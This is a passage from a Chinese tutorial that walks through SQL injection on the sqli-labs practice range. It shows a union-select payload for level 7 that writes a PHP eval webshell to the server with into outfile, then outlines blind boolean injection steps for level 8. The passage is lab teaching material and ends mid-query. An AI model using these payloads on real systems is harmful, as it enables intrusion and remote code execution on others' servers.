以sqlilabs靶场为例，讲解SQL注入攻击原理【7-14关】

大马：功能较为全面，但是体积太大，不太好注入。

小马：功能单一，但是小巧灵活。

一户话木马：只有一句话的指令。

【less-7：一句话木马 】

  使用into outfile，向服务器端指定位置添加文件。

PS ：必须开启mysql中的secure_file_priv=""；

详细解释可查看文章：CSDN

解题步骤：

1.确定注入类型： /?id=3'))  -- + 

2.使用order by 数字：确定字段数为3

3.使用into outfile 向服务器写入内容

具体方法:

?id=1')) union select 1,'<?php eval($_REQUEST[1]) ?>',3 into outfile "文件保存位置"-- +

【less-8：布尔盲注 】

SQL 盲注：不会在页面返回任何信息，只能根据页面是否正常显示判断。

解题步骤：

1. 先获取是何种注入类型；

2.使用length(database())=数字：获取数据库的长度；

3.使用ascii(substr(datase(),1,1)) =数字：获取数据库的名称；

4.使用(ascii(substr((select table_name from infor